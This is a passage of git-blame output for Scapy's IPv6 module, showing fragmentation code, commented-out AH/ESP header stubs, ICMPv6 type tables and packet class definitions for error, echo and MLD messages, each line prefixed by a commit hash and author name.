1241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                unfragPart[IPv6].plen = None
12427b3e970663abd72697e17b70aba9943ae0dad404Phil            tempo = unfragPart/fragHeader/conf.raw_layer(load=tmp)
1243c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res.append(tempo)
1244c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
1245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            fragHeader.offset = fragOffset    # update offSet
1246c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            fragHeader.m = 0
1247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if IPv6 in unfragPart:
1248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                unfragPart[IPv6].plen = None
12497b3e970663abd72697e17b70aba9943ae0dad404Phil            tempo = unfragPart/fragHeader/conf.raw_layer(load=remain)
1250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res.append(tempo)
1251c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            break
1252c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return res
1253c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1254c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1255c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################### AH Header ###################################
1256c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1257c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class _AHFieldLenField(FieldLenField):
1258c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     def getfield(self, pkt, s):
1259c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         l = getattr(pkt, self.fld)
1260c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         l = (l*8)-self.shift
1261c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         i = self.m2i(pkt, s[:l])
12620d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#         return s[l:],i
1263c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1264c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class _AHICVStrLenField(StrLenField):
1265c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     def i2len(self, pkt, x):
12660d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1268c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1269c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class IPv6ExtHdrAH(_IPv6ExtHdr):
1270c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     name = "IPv6 Extension Header - AH"
1271c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
1272c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     _AHFieldLenField("len", None, "icv"),
1273c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     ShortField("res", 0),
1274c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     IntField("spi", 0),
1275c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     IntField("sn", 0),
1276c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     _AHICVStrLenField("icv", None, "len", shift=2) ]
1277c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     overload_fields = {IPv6: { "nh": 51 }}
1278c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1279c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     def post_build(self, pkt, pay):
1280c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         if self.len is None:
1281c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#             pkt = pkt[0]+struct.pack("!B", 2*len(self.addresses))+pkt[2:]
1282c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         if self.segleft is None:
1283c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#             pkt = pkt[:3]+struct.pack("!B", len(self.addresses))+pkt[4:]
1284c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         return _IPv6ExtHdr.post_build(self, pkt, pay)
1285c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1286c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1287c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################### ESP Header ##################################
1288c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1289c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class IPv6ExtHdrESP(_IPv6extHdr):
1290c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     name = "IPv6 Extension Header - ESP"
1291c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     fields_desc = [ IntField("spi", 0),
1292c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     IntField("sn", 0),
12930d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#                     # there is things to extract from IKE work
1294c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     ]
1295c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     overloads_fields = {IPv6: { "nh": 50 }}
1296c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
12970d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1298c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1299c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1300c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1301c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                           ICMPv6* Classes                             ###
1302c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1303c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1304c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1305c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6typescls = {    1: "ICMPv6DestUnreach",
1306c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     2: "ICMPv6PacketTooBig",
1307c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     3: "ICMPv6TimeExceeded",
1308c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     4: "ICMPv6ParamProblem",
1309c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   128: "ICMPv6EchoRequest",
1310c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   129: "ICMPv6EchoReply",
13110d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                   130: "ICMPv6MLQuery",
1312c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   131: "ICMPv6MLReport",
1313c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   132: "ICMPv6MLDone",
1314c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   133: "ICMPv6ND_RS",
1315c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   134: "ICMPv6ND_RA",
1316c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   135: "ICMPv6ND_NS",
1317c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   136: "ICMPv6ND_NA",
1318c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   137: "ICMPv6ND_Redirect",
1319c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #138: Do Me - RFC 2894 - Seems painful
1320c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   139: "ICMPv6NIQuery",
1321c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   140: "ICMPv6NIReply",
1322c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   141: "ICMPv6ND_INDSol",
1323c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   142: "ICMPv6ND_INDAdv",
1324c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #143: Do Me - RFC 3810
13250d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                   144: "ICMPv6HAADRequest",
132677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   145: "ICMPv6HAADReply",
132777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   146: "ICMPv6MPSol",
132877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   147: "ICMPv6MPAdv",
1329c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #148: Do Me - SEND related - RFC 3971
1330c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #149: Do Me - SEND related - RFC 3971
1331c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   151: "ICMPv6MRD_Advertisement",
1332c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   152: "ICMPv6MRD_Solicitation",
1333c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   153: "ICMPv6MRD_Termination",
133477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   }
1335c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1336b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadonicmp6typesminhdrlen = {    1: 8,
1337b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                           2: 8,
1338b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                           3: 8,
1339b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                           4: 8,
1340b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         128: 8,
1341b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         129: 8,
1342b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         130: 24,
1343b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         131: 24,
1344b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         132: 24,
1345b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         133: 8,
1346b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         134: 16,
1347b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         135: 24,
1348b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         136: 24,
1349b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         137: 40,
1350b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         #139:
1351b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         #140
1352b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         141: 8,
1353b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         142: 8,
1354b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         144: 8,
1355b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         145: 8,
1356b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         146: 8,
1357b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         147: 8,
1358b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         151: 8,
1359b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         152: 4,
1360b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         153: 4
1361b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                   }
1362b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon
13630d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzicmp6types = { 1 : "Destination unreachable",
13640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               2 : "Packet too big",
136577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil               3 : "Time exceeded",
1366c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               4 : "Parameter problem",
1367c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             100 : "Private Experimentation",
1368c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             101 : "Private Experimentation",
1369c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             128 : "Echo Request",
1370c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             129 : "Echo Reply",
1371c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             130 : "MLD Query",
137277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             131 : "MLD Report",
137377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             132 : "MLD Done",
137477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             133 : "Router Solicitation",
137577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             134 : "Router Advertisement",
137677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             135 : "Neighbor Solicitation",
137777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             136 : "Neighbor Advertisement",
137877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             137 : "Redirect Message",
137977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             138 : "Router Renumbering",
13800d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz             139 : "ICMP Node Information Query",
13810d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz             140 : "ICMP Node Information Response",
138277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             141 : "Inverse Neighbor Discovery Solicitation Message",
138377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             142 : "Inverse Neighbor Discovery Advertisement Message",
138477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             143 : "Version 2 Multicast Listener Report",
138577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             144 : "Home Agent Address Discovery Request Message",
138677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             145 : "Home Agent Address Discovery Reply Message",
138777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             146 : "Mobile Prefix Solicitation",
138877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             147 : "Mobile Prefix Advertisement",
138977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             148 : "Certification Path Solicitation",
139077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             149 : "Certification Path Advertisement",
1391c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             151 : "Multicast Router Advertisement",
1392c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             152 : "Multicast Router Solicitation",
1393c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             153 : "Multicast Router Termination",
1394c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             200 : "Private Experimentation",
1395c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             201 : "Private Experimentation" }
1396c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1397c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1398c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6(Packet):
1399c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 dummy class"
1400c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: {"nh": 58}}
1401c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, p, pay):
140277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        p += pay
14030d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        if self.cksum == None:
140477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            chksum = in6_chksum(58, self.underlayer, p)
140577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            p = p[:2]+struct.pack("!H", chksum)+p[4:]
140677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return p
1407c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1408c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
1409c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.payload.hashret()
1410c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1411c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
1412c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ...
141377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if (isinstance(self.underlayer, IPerror6) or
1414c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            isinstance(self.underlayer, _IPv6ExtHdr) and
1415c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            isinstance(other, _ICMPv6)):
141677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if not ((self.type == other.type) and
141777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    (self.code == other.code)):
141877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return 0
141977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            return 1
142077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return 0
1421c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1422c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1423c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6Error(_ICMPv6):
1424c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 errors dummy class"
1425c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def guess_payload_class(self,p):
142677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return IPerror6
1427c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1428c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6Unknown(_ICMPv6):
1429c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Scapy6 ICMPv6 fallback class"
1430c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",1, icmp6types),
1431c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1432c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
14330d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    StrField("msgbody", "")]
1434c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1435c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1436c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil################################## RFC 2460 #################################
1437c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1438c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6DestUnreach(_ICMPv6Error):
1439c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Destination Unreachable"
1440c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",1, icmp6types),
1441c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("code",0, { 0: "No route to destination",
1442c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              1: "Communication with destination administratively prohibited",
1443c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              2: "Beyond scope of source address",
1444c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              3: "Address unreachable",
1445c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              4: "Port unreachable" }),
1446c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
14472a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    ByteField("length", 0),
14482a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    X3BytesField("unused",0)]
1449c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1450c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6PacketTooBig(_ICMPv6Error):
1451c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Packet Too Big"
1452c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",2, icmp6types),
1453c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1454c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1455c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("mtu",1280)]
14560d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1457c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6TimeExceeded(_ICMPv6Error):
1458c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Time Exceeded"
1459c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",3, icmp6types),
1460b77e3cb7813eb79374d688dab2e1c4382cc6c6e3Guillaume Valadon                    ByteEnumField("code",0, { 0: "hop limit exceeded in transit",
14612a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                                              1: "fragment reassembly time exceeded"}),
1462c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
14632a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    ByteField("length", 0),
14642a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    X3BytesField("unused",0)]
1465c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
14660d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# The default pointer value is set to the next header field of
1467c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# the encapsulated IPv6 packet
14680d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6ParamProblem(_ICMPv6Error):
1469c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Parameter Problem"
1470c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",4, icmp6types),
1471c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("code",0, {0: "erroneous header field encountered",
1472c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                             1: "unrecognized Next Header type encountered",
1473c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                             2: "unrecognized IPv6 option encountered"}),
1474c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1475c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("ptr",6)]
1476c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1477c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6EchoRequest(_ICMPv6):
1478c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Echo Request"
1479c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 128, icmp6types),
1480c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
1481c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1482c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id",0),
1483c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("seq",0),
1484c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrField("data", "")]
1485c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
1486c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% (id: %id% seq: %seq%)")
1487c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
1488c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("HH",self.id,self.seq)+self.payload.hashret()
1489c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
14900d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1491c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6EchoReply(ICMPv6EchoRequest):
1492c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Echo Reply"
1493c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 129
1494c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
14950d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        # We could match data content between request and reply.
1496c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return (isinstance(other, ICMPv6EchoRequest) and
1497c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                self.id == other.id and self.seq == other.seq and
1498c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                self.data == other.data)
1499c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1500c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1501c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############ ICMPv6 Multicast Listener Discovery (RFC3810) ##################
1502c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1503c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# tous les messages MLD sont emis avec une adresse source lien-locale
1504c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# -> Y veiller dans le post_build si aucune n'est specifiee
1505c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# La valeur de Hop-Limit doit etre de 1
1506c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# "and an IPv6 Router Alert option in a Hop-by-Hop Options
1507c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# header. (The router alert option is necessary to cause routers to
1508c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# examine MLD messages sent to multicast addresses in which the router
15090d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# itself has no interest"
1510c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6ML(_ICMPv6):
1511c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 130, icmp6types),
1512c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
1513c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1514c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("mrd", 0),
1515c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("reserved", 0),
1516b77e3cb7813eb79374d688dab2e1c4382cc6c6e3Guillaume Valadon                    IP6Field("mladdr","::")]
1517c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1518c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# general queries are sent to the link-scope all-nodes multicast
1519c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# address ff02::1, with a multicast address field of 0 and a MRD of
1520c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [Query Response Interval]
1521c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Default value for mladdr is set to 0 for a General Query, and
1522c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# overloaded by the user for a Multicast Address specific query
1523c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO : See what we can do to automatically include a Router Alert
1524c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#        Option in a Destination Option Header.
1525c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MLQuery(_ICMPv6ML): # RFC 2710
1526c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MLD - Multicast Listener Query"
1527c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type   = 130
1528f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    mrd    = 10000 # 10s for mrd
1529f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    mladdr = "::"
15300d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    overload_fields = {IPv6: { "dst": "ff02::1", "hlim": 1, "nh": 58 }}
1531c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
1532c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.mladdr != "::":
1533a1880b5ccfa0720d07aa77636b50af5e66f65ce9Pierre LALET            return (
1534a1880b5ccfa0720d07aa77636b50af5e66f65ce9Pierre LALET                inet_pton(socket.AF_INET6, self.mladdr) + self.payload.hashret()
1535a1880b5ccfa0720d07aa77636b50af5e66f65ce9Pierre LALET            )
1536c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
1537c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.hashret()
15380d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
15390d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1540c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO : See what we can do to automatically include a Router Alert
1541c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#        Option in a Destination Option Header.
1542c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MLReport(_ICMPv6ML): # RFC 2710
